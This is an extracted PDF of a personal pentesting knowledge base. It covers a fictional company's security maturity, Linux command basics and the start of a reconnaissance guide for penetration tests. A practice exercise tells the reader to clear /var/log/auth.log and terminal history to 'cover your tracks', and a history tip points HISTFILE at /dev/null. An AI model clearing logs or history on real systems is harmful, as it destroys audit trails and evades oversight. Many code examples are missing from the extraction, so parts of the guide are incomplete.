Ptestmethod
Ptestmethod
Ptestmethod
Release 1
Villalongue Maxime
i
ii
Ptest Method Documentation, Release 1
This Repo will be my knowledge database about Pentesting skills. It has been inspired by https://bitvijays.github.io
And some of the content will be the same as a starting point.
Always keep in mind when you have a problem just launch a search over internet about it, 99 % of the time the
comunity already sollved this issue.
The Essentials 1
Ptest Method Documentation, Release 1
2 The Essentials
CHAPTER 1
The Essentials Series covers the essential concepts/ skills for somebody who wants to enter the field of CyberSecurity.
• CyberSecurity in an Enterprise : IT Technical challenges faced by a company during their transformation from
a start-up of two people growing to Micro, Small, Medium-sized, larger size company and their solutions.
• Linux Basics : Essential linux commands and concepts required in the Infosec field.
This blog is about the Cybersecurity in an Enterprise. We would start with a simple concept of two people (Alice
and Bob) starting a new company and building it to Micro (< 10 employees), Small (< 50 employees), Medium-sized
(< 250 employees), larger company. We would walkthru scenarios where company is affected by security breaches,
vulnerability assessments excercises. At each stage of the company, we would provide
• How the company can be made secure?
• What are the challenges faced by the administrators?
• How we can make things easy/ automate for the administrators of the company.
Hopefully this will provide a general life-cycle of what happens and how things/ security evolve at companies.
1.1.1 Nomenclature
3
Ptest Method Documentation, Release 1
Two friends Alice and Bob met up and decided to open a company called Fantastic Solutions. Alice loves Linux
(Debian) and Bob loves Windows. So, let’s see what they require at this current point of time?
Current Users
2 Users
Current Setup
• Internet Connection
• Home Router with builtin Wi-Fi
• Two laptops (One Windows, One Linux)
Security Additions
The company started well and hired 8 more people (Let’s say two who loves Linux, two who loves Mac and two who
loves Windows)
Current Users
10 People
Current Setup
Security Additions
• Windows - Microsoft Baseline Security Analyzer provides a streamlined method to identify missing security
updates and common security misconfigurations.
• Linux/ Mac - Lynis is an open source security auditing tool. Used by system administrators, security profes-
sionals and auditors to evaluate the security defenses of their Linux and UNIX-based systems. It runs on the
host itself, so it performs more extensive security scans than vulnerability scanners.
• File Server (NAS) - Access control lists on folders defining which folder can be accessed by which user or
password protected folders.
• Firewall - Installing a Firewall just after the Router could permit to block unwanted traffic.
Operations Issues
Current Users
45 People
Current Setup
Active Directory Domain Services provide secure, structured, hierarchical data storage for objects in a network such
as users, computers, printers and services.
A DNS server hosts the information that enables client computers to resolve memorable, alphanumeric DNS names to
the IP addresses that computers use to communicate with each other.
Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Mi-
crosoft product updates. A WSUS server can be the update source for other WSUS servers within the organization.
Refer Deploy Windows Server Update Services in Your Organization
DHCP Server
Dynamic Host Configuration Protocol (DHCP) servers on your network automatically provide client computers and
other TCP/IP based network devices with valid IP addresses.
Others
• Company decided to take 8 Linux Servers (Debian, CentOS, Arch-Linux and Red-Hat).
• Added two servers hosting three web-application running on IIS-WebServer, Apache Tomcat and Nginx.
Operations Issues
• How to manage multiple Linux machines and make sure they are hardened and compliant to security standards
such as CIS (Center for Internet Security) or STIG (Security Technical Implementation Guide).
• STIG : A Security Technical Implementation Guide (STIG) is a cybersecurity methodology for standardizing
security protocols within networks, servers, computers, and logical designs to enhance overall security. These
guides, when implemented, enhance security for software, hardware, physical and logical architectures to further
reduce vulnerabilities.
• CIS : CIS Benchmarks help you safeguard systems, software, and networks against today’s evolving cyber
threats. Developed by an international community of cybersecurity experts, the CIS Benchmarks are configura-
tion guidelines for over 100 technologies and platforms.
Security Additions
Security Compliance Manager : SCM enables you to quickly configure and manage computers and your private cloud
using Group Policy and Microsoft System Center Configuration Manager. SCM 4.0 provides ready-to-deploy policies
based on Microsoft Security Guide recommendations and industry best practices, allowing you to easily manage
configuration drift, and address compliance requirements for Windows operating systems and Microsoft applications.
However, effective 15th June 2017, Microsoft retired SCM Security Compliance Manager (SCM) retired; new tools
and procedures and introduced Security Compliance Toolkit.
The Microsoft Security Configuration Toolkit enables enterprise security administrators to effectively manage their
enterprise’s Group Policy Objects (GPOs). Using the toolkit, administrators can compare their current GPOs with
Microsoft-recommended GPO baselines or other baselines, edit them, store them in GPO backup file format, and apply
them via a Domain Controller or inject them directly into testbed hosts to test their effects. The Security Configuration
Toolkit consists of two tools, Policy Analyzer and LGPO, and a set of configuration baselines for different releases of
Windows.
• Policy Analyzer : Policy Analyzer is a utility for analyzing and comparing sets of Group Policy Objects (GPOs).
It can highlight when a set of Group Policies has redundant settings or internal inconsistencies and then highlight
the differences between versions or sets of Group Policies. It can also compare GPOs against current local policy
settings, local registry settings, and then export results to a Microsoft Excel spreadsheet.
• LGPO : LGPO is a tool for transferring Group Policy directly between a host’s registry and a GPO backup file,
bypassing the Domain Controller. This gives administrators a simple way to verify the effects of their Group
Policy settings directly.
Operations Additions
• Puppet : Puppet is an open-source software configuration management tool. It runs on many Unix-like systems
as well as on Microsoft Windows. It was created to easily automate repetitive and error-prone system admin-
istration tasks. Puppet’s easy-to-read declarative language allows you to declare how your systems should be
configured to do their jobs.
• Ansible is an open-source automation engine that automates software provisioning, configuration management,
and application deployment.
• Salt : Salt (sometimes referred to as the SaltStack Platform) is a Python-based open-source configuration man-
agement software and remote execution engine. Supporting the “Infrastructure as Code” approach to deploy-
ment and cloud management.
• Chef : Chef lets you manage them all by turning infrastructure into code. Infrastructure described as code is
flexible, versionable, human-readable, and testable.
• Powershell Desired State Configuration : DSC is a management platform in PowerShell that enables you to
manage your IT and development infrastructure with configuration as code.
If we are utilizing Automation Tools above, there are few other tools which should be known such as
• Inspec : InSpec is an open-source testing framework for infrastructure with a human-readable language for
specifying compliance, security and other policy requirements. When compliance is code, you can integrate
automated tests that check for adherence to policy into any stage of your deployment pipeline.
• DSC Environment Analyzer (DSCEA) : is a PowerShell module that uses the declarative nature of Desired State
Configuration to scan systems in an environment against a defined reference MOF file and generate compliance
reports as to whether systems match the desired configuration. DSCEA is hosted at DSCEA Github and can be
downloaded from the PowerShell Gallery Another tool which might be helpful is BaselineManagement which
is a conversion tool used to convert Group Policy and SCM baselines into DSC.
• Kitchen : Kitchen provides a test harness to execute your infrastructure code on one or more platforms in
isolation. A driver plugin architecture is used which lets you run your code on various cloud providers and
virtualization technologies such as Amazon EC2, Google GCE, Azure, Blue Box, CloudStack, Digital Ocean,
Rackspace, OpenStack, Vagrant, Docker, LXC containers, and more. In short, whatever code we wrote for one
platform or operating system (example: Debian 8), utilizing Kitchen, we can test it on multiple platforms.
Linters
• Rubocop : RuboCop is a Ruby static code analyzer. Out of the box it will enforce many of the guidelines
outlined in the community Ruby Style Guide . If we are writing code in ruby, rubocop makes sure that it is
written according to the Ruby style guide.
• Puppet-Linter : Puppet Lint tests Puppet code against the recommended Puppet language style guide. Puppet
Lint validates only code style; it does not validate syntax.
• Pylint : Pylint is a tool that checks for errors in Python code, tries to enforce a coding standard and looks for
code smells. It can also look for certain type errors, it can recommend suggestions about how particular blocks
can be refactored and can offer you details about the code’s complexity.
• rst-lint : Restructured Text Linter
• PHP
– php
– php-codesniffer (phpcs) - PHP, CSS and JavaScript coding standard analyzer and checker :
PHP_CodeSniffer is a set of two PHP scripts; the main phpcs script that tokenizes PHP, JavaScript and
CSS files to detect violations of a defined coding standard, and a second phpcbf script to automatically
correct coding standard violations. PHP_CodeSniffer is an essential development tool that ensures your
code remains clean and consistent.:w
– phpmd - PHP Mess Detector takes a given PHP source code base and look for several potential prob-
lems within that source such as Possible bugs, Suboptimal code, Overcomplicated expressions, Unused
parameters, methods, properties.
• HTML
• TIDY
Security Additions
• Elasticsearch : Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing
number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the
expected and uncover the unexpected.
• Logstash : Logstash is an open source, server-side data processing pipeline that ingests data from a multitude of
sources simultaneously, transforms it, and then sends it to your favorite “stash.” (Elasticsearch).
• Kibana : Kibana lets you visualize your Elasticsearch data and navigate the Elastic Stack, so you can do anything
from learning why you’re getting paged at 2:00 a.m. to understanding the impact rain might have on your
quarterly numbers.
Windows Event Forwarding (WEF) reads any operational or administrative event log on a device in your organization
and forwards the events you choose to a Windows Event Collector (WEC) server. There are some awesome blogs to
read for better utilization of WEF.
• Jessica Payne’s Monitoring what matters – Windows Event Forwarding for everyone (even if you already have
a SIEM.) Suggests only five things to monitor:
• Security Event Logs being cleared
• High value groups like Domain Admins being Changed
• Local administrator groups being changed
• Local users being created or deleted on member systems
• New Services being installed, particularly on Domain Controllers (as this is often an indicator of malware or
lateral movement behavior.)
• Microsoft’s Use Windows Event Forwarding to help with intrusion detection
• Russell Tomkins has written a blog on creating Creating Custom Windows Event Forwarding Logs
• Answers the question of “We don’t want everything in Forwarded Events, can we create separate logs for my
subscriptions?”
• Russell Tomkins has written another blog on Introducing Project Sauron – Centralised Storage of Windows
Events – Domain Controller Edition
• Using the Project Sauron Framework, the deployment of centralised Windows Event Collector (WEC) server
becomes almost simple.
• Using custom WEC subscriptions, the required events are forwarded into dedicated event channels and dedicated
.evtx file.
• Creation and deployment of your own custom solution or re-using one the pre-built solutions can have you
operational in matter of hours not months.
• Avecto has written Centralizing Windows Events with Event Forwarding provides guidance on how to centralize
Privilege Guard events to a central server using Windows Event Forwarding.
• Japan Computer Emergency Response Team’s a practical guide on Detecting Lateral Movement through Track-
ing Event Logs
• NSA’s document on Spotting the Adversary with Windows Event Log Monitoring
• CERT EU’s document on Detecting Lateral Movements in Windows Infrastructure
Squid is a caching proxy for the Web supporting HTTP, HTTPS, FTP, and more. It reduces bandwidth and improves
response times by caching and reusing frequently-requested web pages. Squid has extensive access controls and makes
a great server accelerator. This majorly helps in tracking what are your users browsing at a particular time.
Performed Web-Application Internal Pentest using Open-Source Scanners such as OWASP-ZAP (Zed Attack Proxy)
Implement
• OWASP Secure Coding Practices
• SEI CERT Coding Standards
Deploy a Web Application Firewall (WAF): WAF is an application firewall for HTTP applications. It applies a set of
rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and
SQL injection. One of the open source WAF is Modsecurity
Current Users
700-1000
Current Setup
Operations Issues
• Are all the network devices, operating systems security hardened according to CIS Benchmarks?
• Do we maintain a inventory of Network Devices, Servers, Machines? What’s their status? Online, Not reach-
able?
• Do we maintain a inventory of software installed in all of the machines?
Operations Additions
Security Hardening utilizing DevSec Hardening Framework or Puppet/ Ansible/ Salt Hardening Modules. There are
modules for almost hardening everything Linux OS, Windows OS, Apache, Nginx, MySQL, PostGRES, docker etc.
Inventory
• A external consultant connects his laptop on the internal network either gets a DHCP address or set himself a
static IP Address or poses as a malicious internal attacker.
• Finds open shares accessible or shares with default passwords.
• Same local admin passwords as they were set up by using Group Policy Preferences! (Bad Practice)
• Major attack vector - Powershell! Where are the logs?
Security Additions
• Implement LAPS (Local Administrator Password Solutions): LAPS provides management of local account
passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL,
so only eligible users can read it or request its reset. Every machine would have a different random password
and only few people would be able to read it.
• Implement Windows Active Directory Hardening Guidelines
Implement
• OpenNAC : openNAC is an opensource Network Access Control for corporate LAN / WAN environments. It
enables authentication, authorization and audit policy-based all access to network. It supports different network
vendors like Cisco, Alcatel, 3Com or Extreme Networks, and different clients like PCs with Windows or Linux,
Mac, devices like smartphones and tablets.
• Other Vendor operated NACs
Detection Mechanism
• Deploy Microsoft Windows Threat Analytics : Microsoft Advanced Threat Analytics (ATA) provides a simple
and fast way to understand what is happening within your network by identifying suspicious user and device
activity with built-in intelligence and providing clear and relevant threat information on a simple attack time-
line. Microsoft Advanced Threat Analytics leverages deep packet inspection technology, as well as information
from additional data sources (Security Information and Event Management and Active Directory) to build an
Organizational Security Graph and detect advanced attacks in near real time.
• Deploy Microsoft Defender Advance Threat Protection: Windows Defender ATP combines sensors built-in to
the operating system with a powerful security cloud service enabling Security Operations to detect, investigate,
contain, and respond to advanced attacks against their network.
• A phishing email was sent to a specific user (C-Level employees) from external internet.
• Country intelligence agency contacted and informed that the company ip address is communicating to a com-
mand and control center in a hostile country.
• Board members ask “what happened to cyber-security”?
• A internal administrator gone rogue.
Security Additions
Threat Intelligence
Threat Hunting
• CRITS Collaborative Research Into Threats : CRITs is an open source malware and threat repository that
leverages other open source software to create a unified tool for analysts and security experts engaged in threat
defense. The goal of CRITS is to give the security community a flexible and open platform for analyzing and
collaborating on threat data.
• GRR Rapid Response : GRR Rapid Response is an incident response framework focused on remote live foren-
sics.
• STIX : Structured Threat Information Expression (STIX) is a language and serialization format used to exchange
cyber threat intelligence (CTI). STIX enables organizations to share CTI with one another in a consistent and
machine readable manner, allowing security communities to better understand what computer-based attacks they
are most likely to see and to anticipate and/or respond to those attacks faster and more effectively.
• TAXII: Trusted Automated Exchange of Intelligence Information (TAXII) is an application layer protocol for
the communication of cyber threat information in a simple and scalable manner. TAXII enables organizations
to share CTI by defining an API that aligns with common sharing models. TAXII is specifically designed to
support the exchange of CTI represented in STIX.
• Malware Information Sharing Platform (MISP): A platform for sharing, storing and correlating Indicators of
Compromises of targeted attacks.
PIM is the monitoring and protection of superuser accounts in an organization’s IT environments. Oversight is neces-
sary so that the greater access abilities of super control accounts are not misused or abused.
We hope that the above chain of events helped you to understand the Cybersecurity in an Enterprise, Operations issues
and the various security options available. If we have missed anything, please feel free to contribute.
This post lists essential commands and concepts which would be helpful to a Linux user. We would cover tools
required for programming (Vi, git), system administration (Bash configuration files, Updating Debian Linux System,
Adding/ Deleting/ Modifying Users/ Groups, Changing Group/ Owner/ Permission, Mounting/ Unmounting, Linux
Directories, Runlevels and Kernel Configurations). Also, provide some useful tips, tricks and TODO which would
help you learn and practice.
Vi Modes
Two modes - Command and Insert Mode. All commands below are in command mode.
˓→correct.
Vi Configuration Files
.vimrc
Contains optional runtime configuration settings to initialize Vim when it starts. Example: If you want Vim to have
syntax on and line numbers on, whenever you open vi, enter syntax on and set number in this file.
syntax on
set number
A good details about various options which can be set in vimrc can be found at A Good Vimrc
.viminfo
Viminfo file stores command-line, search string, input-line history and other stuff. Useful if you want to find out what
user has been doing in vi.
Replace text in Vi
:s/test/learn - would replace test to learn in current line but only first
˓→instance.
:s/test/learn/g - would replace test to learn in current line all the instance.
:s/test/learn/gi - would replace test (all cases) to learn in current line all the
˓→instance.
Other Info
• Vim Awesome provides Awesome VIM plugins from across the universe. Few good one are
• The NERD tree : Tree explorer plugin for vim
• Syntastic : Syntax checking hacks for vim
• Youcompleteme : Code-completion engine for Vim
Important Files
Important variables
• HISTSIZE - Controls the number of commands to remember in the history command. The default value is 500.
• HISTFILE - Defines the file in which all commands will be logged to. Normally the value for this variable is
set to ~/.bash_history. This means that whatever you type in bash will be stored into the value of HISTFILE. It
is advisable to leave it undefined, or pipe the output to /dev/null (For privacy reasons).
• HISTFILESIZE - Defines the maximum number of commands in ~/.bash_history.
Using apt-get
Tip: As mostly, updating takes time, you can club all the commands like “apt-get update && apt-get upgrade &&
apt-get dist-upgrade && poweroff”. poweroff would shutdown the system after everything is updated.
Adding/Deleting/Modifying Users/Groups
Changing Group/Owner/Permission
Mounting/ Unmounting
Linux Directories
Linux has six runlevels 0-6. Scripts are contained in /etc/rc[0-6,S].d/. Each folder contains the scripts which are
followed by either K or S. If the first letter is K that script is not executed. If S, that script is executed. /etc/inittab
contains the default run level.
ID Name Description
0 Halt Shuts down the system.
1 Single-user Mode Mode for administrative tasks.
2 Multi-user Mode Does not configure network interfaces and does not export
networks services
3 Multi-user Mode with Networking Starts the system normally.
4 Not used/User-definable For special purposes.
5 Start system normally with display manager Same as runlevel 3 + display manager
(with GUI).
6 Reboot Reboot the system
Note: To make permanent changes to the kernel, edit the /etc/sysctl.conf file.
Kernel Modules
Manage Runlevels
Debian GNU provides a convenient tool to manage runlevels (to control when services are started and shut down);
• update-rc.d and there are two commonly used invocation methods:
• Systemctl : Control the systemd system and service manager. systemctl may be used to introspect and control
the state of the “systemd” system and service manager.
e.g.
Screen Multiplexer
tmux
Windows (Tabs)
(Prefix Key) +
c create window
w list windows
n next window
p previous window
f find window
, name window
& kill window
tmux.conf
:source-file ~/.tmux.conf
This should apply your changes to the running tmux server without affecting the sessions or windows within them.
Copy Paste
For copying, Press the Shift key; i.e., Shift-MouseHighlight properly selects text and - still holding down the shift key
• we can right-click and get the standard bash context menu with Copy, Paste, etc.
• or Ctrl-Shift-C and Ctrl-Shift-V does work to copy and paste text.
1.2.4 Programming
GIT
From Files
From Commands
last : shows all the login attempts and the reboot occurred.
lastb : shows all the bad login attempts.
lastlog : shows the list of all the users and when did they login.
id : print real and effective user and group IDs.
whoami : whoami - print effective userid.
uname : print system information.
-a : print all the information (Kernel name, nodename, kernel-release, kernel-
˓→version, machine, processor, hardware-platform)
• Grep also accepts inputs (usually via a pipe) from another command or series of commands.
Syntax
-w : Whole-word search
-L --files-without-match : which outputs the names of files that do NOT contain
˓→matches for your search pattern.
Note: Regular expression should be enclosed in single quotation marks or double quotes (allows environment vari-
ables to be used), to prevent the shell (Bash or others) from trying to interpret and expand the expression before
In the search above, . is used to match any single character - matches “ver” in “very”.
A regular expression may be followed by one of several repetition operators:
• The period (.) matches any single character.
• ? means that the preceding item is optional, and if found, will be matched at the most, once.
• * means that the preceding item will be matched zero or more times.
• + means the preceding item will be matched one or more times.
• {n} means the preceding item is matched exactly n times, while {n,} means the item is matched n or more times.
{n,m} means that the preceding item is matched at least n times, but not more than m times. {,m} means that
the preceding item is matched, at the most, m times.
Scan files for a text present in them Find a way to scan my entire linux system for all files containing a specific string
of text. Just to clarify, I’m looking for text within the file, not in the file name.
-r : search recursively
-n : print line number
-w : match the whole word.
--include={*.c,*.h} : Only search through the files which have .c or .h
˓→extensions.
• The ^ anchor specifies that the pattern following it should be at the start of the line:
• The $ anchor specifies that the pattern before it should be at the end of the line.
• The b (word boundary) anchor can be used in place of < and > to signify the beginning or end of a word:
If we don’t single-quote the pattern passed to Grep, the shell could perform shell expansion on the pattern and actually
feed a changed pattern to Grep.
We used double quotes to make the Bash shell replace the environment variable $HOME with the actual value of the
variable (in this case, /root). Thus, Grep searches the /etc/passwd file for the text /root, yielding the two lines that
match.
Here, back-tick expansion is done by the shell, replacing whoami with the user name (root) that is returned by the
whoami command.
cp <SOURCE> <DIRECTORY>
-r : recursive.
-a : similar to preserve,
-p : preserve
-v : verbose.
Pipes
tar
-c : create archive
-t : list the content of the file
-x : extract the files
-j : bzip2 format
-z : gzip format
Find each file in the current directory and tell it’s type and grep JPEG files.
Other commands
make : If your program source file name is test.c/cpp, then you can directly
˓→write make test, this would compile the test.c/cpp program. Remember this it's a
˓→faster way.
stat : View detailed information about a file, including its name, size, last
˓→modified date and permissions.
Special Characters
˓→or "pic.jpg".
[](square brackets) : These are used to specify a range of values to match. For
˓→example, "[0-9]" and "[a-z]".
;(semi colon) : Command separator that can be used to run multiple commands on
˓→a single line unconditionally.
&&(double ampersand): Command separator which will only run the second command if the
˓→first one is successful (does not return an error.)
||(double pipe) : Command separator which will only run the second command if the
˓→first command failed (had errors). Commonly used to terminate the script if an
1.2.7 Bash
Equality Tests
Example
if test -f /etc/foo.txt
then
if [ -f /etc/foo.txt ]; then
Command substitution allows the output of a command to replace the command itself. Command substitution occurs
when a command is enclosed as follows:
$(command)
or
`command`
Bash performs the expansion by executing command and replacing the command substitution with the standard output
of the command, with any trailing newlines deleted.
${PARAMETER^}
${PARAMETER^^}
${PARAMETER,}
${PARAMETER,,}
${PARAMETER~}
${PARAMETER~~}
These expansion operators modify the case of the letters in the expanded text.
The ^ operator modifies the first character to uppercase, the , operator to lowercase. When using the double-form (^^
and „), all characters are converted.
The operators ~ and ~~ reverse the case of the given text (in PARAMETER).~ reverses the case of first letter of words
in the variable while ~~ reverses case for all.
Example: Parameter ^
echo ${VAR^}
Hack the PLANET
echo ${VAR^^}
HACK THE PLANET
Example: Parameter ,
echo ${VAR,}
hACK THE PLANET
echo ${VAR,,}
hack the planet
Example: Parameter ~
echo ${VAR~}
Hack The pLANET
echo ${VAR~~}
HACK THE planet
Bash Programming
for i in $( ls ); do
echo item: $i
done
Bash If Statement
The value of the variable whose name is in this variable can be found by
echo ${!n}
For example:
eth0="$(ip -o -4 address | grep eth0 | awk '{print $4}')"
wlan0="$(ip -o -4 address | grep wlan0 | awk '{print $4}')"
##eth0 and wlan0 contains the subnet of the eth0 and wlan0.
Information
Non-repudiation
Non-repudiation is about ensuring that users cannot deny knowledge of sending a message or performing some online
activity at some later point in time. For example, in an online banking system the user cannot be allowed to claim that
they didn’t send a payment to a recipient after the bank has transferred the funds to the recipient’s account.
su
Change users or become superuser. The difference between “su -” and “su” is that former “su -” would switch to the
new user directory. It would also change the environment variable according to the changed user. Whereas “su” would
only change the user but will stay in the same directory.
Example: “su -“
root@Kali-Home:~# su - bitvijays
bitvijays@Kali-Home:~$ pwd
/home/bitvijays
Example: “su”
root@Kali-Home:~# su bitvijays
bitvijays@Kali-Home:/root$ pwd
/root
su -c
su -c "command" : Specify a command that will be invoked by the shell using its -c.
Example:
su bitvijays -c id
uid=1000(bitvijays) gid=1001(bitvijays) groups=1001(bitvijays)
sudo
Execute a command as another user. The difference between su and sudo is ‘su’ forces you to share your root password
to other users whereas ‘sudo’ makes it possible to execute system commands without root password. ‘sudo’ lets you
use your own password to execute system commands i.e. delegates system responsibility without root password.
/etc/passwd
The /etc/passwd file is a colon-separated file that contains the following information:
• User name
• Encrypted password
• User ID number (UID)
• User’s group ID number (GID)
root:!:0:0::/:/usr/bin/ksh
daemon:!:1:1::/etc:
bin:!:2:2::/bin:
sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
uucp:!:5:5::/usr/lib/uucp:
guest:!:100:100::/home/guest:
nobody:!:4294967294:4294967294::/:
lpd:!:9:4294967294::/:
lp:*:11:11::/var/spool/lp:/bin/false
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
paul:!:201:1::/home/paul:/usr/bin/ksh
jdoe:*:202:1:John Doe:/home/jdoe:/usr/bin/ksh
/etc/shadow
The /etc/shadow file contains password and account expiration information for users, and looks like this:
smithj:Ep6mckrOLChF.:10063:0:99999:7:xx:
As with the passwd file, each field in the shadow file is also separated with “:” colon characters, and are as follows:
• Username, up to 8 characters. Case-sensitive, usually all lowercase. A direct match to the username in the
/etc/passwd file.
• Password, 13 character encrypted. A blank entry (eg. ::) indicates a password is not required to log in (usually
a bad idea), and a * entry (eg. :*:) indicates the account has been disabled.
• The number of days (since January 1, 1970) since the password was last changed.
• The number of days before password may be changed (0 indicates it may be changed at any time)
• The number of days after which password must be changed (99999 indicates user can keep his or her password
unchanged for many, many years)
• The number of days to warn user of an expiring password (7 for a full week)
• The number of days after password expires that account is disabled
• The number of days since January 1, 1970 that an account has been disabled
• A reserved field for possible future use
/etc/group
The /etc/group file stores group information or defines the user groups. There is one entry per line, and each line has
the following format (all fields are separated by a colon (:)
cdrom:x:24:john,mike,yummy
Where,
Apt-get error?
We often do mistakes while updating using apt-get which just leaves us with command line access to the system (GUI
messed up). Possibly we unintentionally removed some necessary packages.
In this case, look for /var/log/apt/history.log, look for the time around which your system was broken. Copy the
removed packages which would be in the format of
To reinstall these packages you just need the package name such as
libapt-inst1.5, apt-utils.
*Step1* : Use sed to search for pattern "), " and replace it with "), \n". This would
˓→separate the packages by new line. Within vi ":%s/), /\n/g"
*Step2* : Use cut -d ":" -f 1 to remove :amd64 and anything after that.
*Step3* : Now we have to get them back in one line rather than multiple lines. Within
˓→vi ":%s/\n/ /g"
Etckeeper may be a bit more advanced, and it is used to put your whole /etc directory under revision control. To install
and initialize it,
After that, you can see pending changes in /etc by cd-ing into it and running
at any time, and you can see previous, committed changes by running
You can override pending changes to any file with the last committed version with
Keyboard shortcuts
Moving
Erasing
Window
Searching History
A B --> "A","B"
awk '{print "\"" $1 "\",\"" $2"\""}'
grep "^[0-9]\+" <nmap file .nmap extension> | grep "\ open\ " | sort | uniq -c | sort
˓→-rn | awk '{print "\""$1"\",\""$2"\",\""$3"\",\""$4"\",\""$5" "$6" "$7" "$8" "$9" "
cat
When cat sees the string - as a filename, it treats it as a synonym for stdin. To get around this, we need to alter the
string that cat sees in such a way that it still refers to a file called -. The usual way of doing this is to prefix the filename
with a path - ./-, or /home/Tim/-. This technique is also used to get around similar issues where command line options
clash with filenames, so a file referred to as ./-e does not appear as the -e command line option to a program.
1.2.10 Practice
That was most probably a lot of information, to practice all the it’s always better to do some hands on.
Task 1 : Git
Create a small program using vi with syntax on, compile it using gcc using make.
Task 3 : gdb
Debug it using gdb -tui option to see the source code, experiment with breakpoints, and printing values.
Tip: Track that program using git, upload them to a remote server, then pull your code, check if its the same.
System administration
Change the messages before login, after login. Remember the escapes sequences used in the /etc/issue. man agetty
lists them.
Supposed you got access via shell to a linux system and extract some information from it. Create a script.
• Create a Alice, Bob, eve with the password “password” HINT: set password using chpasswd, look some exam-
ples in google to change from cmdline.
• Login from eve
• Copy and preserve all the configuration files from /etc and save it in eve home directory in the folder etc-backup-
YYYYMMDD, direct all errors to cp.err
• Change the owner of all the files in the folder just created to Bob and the group of all the files to Alice and
change the permission of all the files to 440 i.e r–r—– HINT: would have to be logined as root
• Provide me all the unique shells used by the user present in the system in CAPS. HINT: /etc/passwd file contains
all the shells, three four commands would be used.
• Cover your tracks, clear out the /var/log/auth.log (Have a look at this file and create a backup before clearing),
clean your terminal history HINT: man pages would help you.
• Delete all the user Bob, Alice, eve. Make sure you delete their files too.
• Turn off the ping responses for your system permanently and turn on the Syn-cookies protection mechanism.
{Search on Google}
• Use your previous script to create three users Alice, Bob, eve.
• create a folder dept inside it two folder hr, web.
• create two group hr and web.
• change group of web folder to web and hr to hr.
• add Alice and Bob user to web group
• add Alice to hr group.
• check that Bob is not able to enter in the hr folder and Alice is able to enter in both hr and web folder
• add user Bob to sudo group and check if it is able to run sudo ifconfig ?
Bash Scripting
• Linux Monitoring Tools : Server density has written most comprehensive list of 80 Linux Monitoring Tools
• Windows Monitoring Tools : Server density has written similar list for Windows too 60+ Windows Monitoring
Tools
The Infrastructure Pentest Series cover all the phases of Infrastructure Pentest as described by The Penetration Testing
Execution Standard.
• Intelligence Gathering : Technical steps to perform during the information gathering phase of an organization
and figuring out the attack-surface area.
• Vulnerability Analysis : Exploring different services running on different ports of a machine by utilizing
metasploit-fu, nmap or other tools.
• Exploitation : Enumeration methods that can be used after compromising a domain user credentials and Remote
code execution methods after compromising administrative credentials.
• Post Exploitation : Different methods to gather credentials after getting an administrative remote shell. Also,
performing post-exploitation to leave high-impact to C-Level executives is also covered in this section.
• Reporting : Open-source ways to automate report writing after a successfull Pentest.
• Configuration Review : Methods to perform configuration review for the switches, routers, firewall and endpoint
devices.
This post (always Work in Progress) lists technical steps which one can follow while gathering information about an
organization.
Suppose, we are tasked with an external/ internal penetration test of a big organization with DMZ, Data centers,
Telecom network etc. Moreover, the only information that we know at this moment is the company name and/or it’s
domain name such as example.com
What are the
• Domain/ subdomains present? (like example.com – domain; ftp.example.com – subdomain)
• IP Addresses/ Network ranges/ ASN Number(s) assigned?
• Different Services (open ports) running on those IP Addresses?
35
Ptest Method Documentation, Release 1
2.1.1 Fingerprinting
We can either do Passive fingerprinting (learning more about the company, without them knowing it) or Active
fingerprinting (process of transmitting packets to a remote host and analysing corresponding replies (which very
likely will be logged)).
Passive fingerprinting and Active fingerprinting can be done by using various methods such as:
The active and passive fingerprinting would help us to get those answers!
Whois
Whois provides information about the registered users or assignees of an Internet resource, such as a Domain name,
an IP address block, or an autonomous system.
whois acts differently when given an IP address then a domain name.
• For a Domain name, it just provides registrar name etc.
• For a IP address, it provides the net-block, ASN Number etc.
Googling for
Also helps for to search for new domains registered by the same organization. “Registrant Organization” is present in
the output of whois.
ASN Number
We could find the AS Number that participates in the Border Gateway Protocol (BGP) used by particular organization
which could further inform about the IP address ranges used by the organization. An ASN Number could be found by
using Team CMRU whois service
Recon-ng
Available at : https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Usage%20Guide
Those are some of the functionalities :
• use recon/domains-hosts/bing_domain_web : Harvests hosts from Bing.com by using the site search operator.
• use recon/domains-hosts/google_site_web : Harvests hosts from google.com by using the site search operator.
• use recon/domains-hosts/brute_hosts : Brute forces host names using DNS.
• use recon/hosts-hosts/resolve : Resolves the IP address for a host.
• use reporting/csv : Creates a CSV file containing the specified harvested data.
The Harvester
Available at : https://github.com/laramies/theHarvester
The harvester provides email addresses, virtual hosts, different domains, shodan results etc. for the domain. It provides
really good results, especially if you combine with shodan results as it may provide server versions and what’s OS is
running on a provided IP address.
Spiderfoot
Available at : http://www.spiderfoot.net/download/
SpiderFoot is a reconnaissance tool that automatically queries over 100 public data sources (OSINT) to gather intelli-
gence on IP addresses, domain names, e-mail addresses, names and more. You simply specify the target you want to
investigate, pick which modules to enable and then SpiderFoot will collect data to build up an understanding of all the
entities and how they relate to each other.
We can utilize DNS Dumpster’s API to know the various sub-domain related to a domain.
Tip: Combine these results with recon-ng, spiderfoot and DNS Dumpsters and create one csv with all results. Then
use Eyewitness or HTTPScreenshot to check what’s runnning.
• filetype:suffix: Limits results to pages whose names end in suffix. The suffix is anything following the last
period in the file name of the web page. For example: filetype:pdf
• allinurl/ inurl: Restricts results to those containing all the query terms you specify in the URL. For example, [
allinurl: google faq ] will return only documents that contain the words “google” and “faq” in the URL, such as
“www.google.com/help/faq.html”.
• allintitle/ intitle: Restricts results to those containing all the query terms you specify in the title.
Three good places to refer are Search Operators, Advanced Operators and Google Hacking Database.
Other Tools
• SearchDiggityv3 is Bishop Fox’s MS Windows GUI application that serves as a front-end to the most recent ver-
sions of our Diggity tools: GoogleDiggity, BingDiggity, Bing, LinkFromDomainDiggity, CodeSearchDiggity,
DLPDiggity, FlashDiggity, MalwareDiggity, PortScanDiggity, SHODANDiggity, BingBinaryMalwareSearch,
